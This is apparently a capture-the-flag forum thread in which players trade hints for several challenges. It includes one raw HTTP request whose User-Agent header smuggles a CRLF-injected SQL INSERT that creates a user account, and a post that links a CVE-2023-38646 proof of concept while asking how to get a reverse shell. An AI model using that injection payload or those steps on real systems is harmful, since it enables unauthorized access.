[PingPong123a]

Need hint for the last reverse challenge. I can help for Apethanto root if you want

[zapot]

anyone can help me with crypto MSS easy ?

Pm me if you want help

can u share it here, thx

[breached_199]

Need hint for the last reverse challenge. I can help for Apethanto root if you want

I am stuck on Apethanto user, will you help me ?

[local]

anyone can help me with crypto MSS easy ?

Pm me if you want help

Hello Bro, can you assist me on MSS Crypto

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[yoshihtb2]

POST /user HTTP/1.1
Host: 94.237.54.4:361907
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
User-Agent: Mozilla/7.0%0D%0A%0D%0A{"username"%3a"'%3bINSERT+INTO+users+(username,password)+VALUES+('test',+'$2a$10$6uMhqmMAxz2a/H8X1S1t0O5tvqxQg2hfqX7AzTxJMA3y9tWQG/hBm')--","password"%3a"a"}%0D%0A

username=testtesttesttestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&password=testtesttesttestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

This is for gatecrash

---

Anyone managed anything on the last web chall ?

How would one go about making this work, I have been using Burpsuite, and getting an "Invalid username or password error"

[Comma]

anyone can help me with crypto MSS easy ?

Pm me if you want help

Hello Bro, can you assist me on MSS Crypto

Ok look into rivest Shamir secret sharing in python.

Basically, you split a secret into a given number of parts (n) and define a threshold (t) for how many parts are needed to get the secret.

You can ask for enough shares to get the key

[htbchallenger]

Been for more than 16 hours en the priv esc of the first fullpwn, any hint please ? can't send DM

[vladimir]

can anyone help me with the forensix one step closer

[vladimir]

can i get help with apethanto. i have used https://github.com/shamo0/CVE-2023-38646-PoC/ and i am getting key=shamoo. How do i leverage on the script to get a reverse shell? Or simply what do i do

[local]

anyone can help me with crypto MSS easy ?

Pm me if you want help

Hello Bro, can you assist me on MSS Crypto

Ok look into rivest Shamir secret sharing in python.

Basically, you split a secret into a given number of parts (n) and define a threshold (t) for how many parts are needed to get the secret.

You can ask for enough shares to get the key

I will appreciate if you can explain more, do we have to use https://github.com/adviksinghania/shamir..._secret.py and how ?

i got the 

Encrypted Flag
"iv": "22e159b91af7be16edd895ab3f021778", "enc_flag": "8125fc9c7793a1f0a0b3bf85fd9b5ad7cf828e12f72c2edbacc98d9970c77a31cc1ecd53e9dd3ff4c5e5673219deaabe"}

Share
{"approved": "True", "x": 1, "y": 1672688893529867488399516862618660024526966971847006494677454708922044545978349}

and once after getting all those information.. how do we exploit it ?

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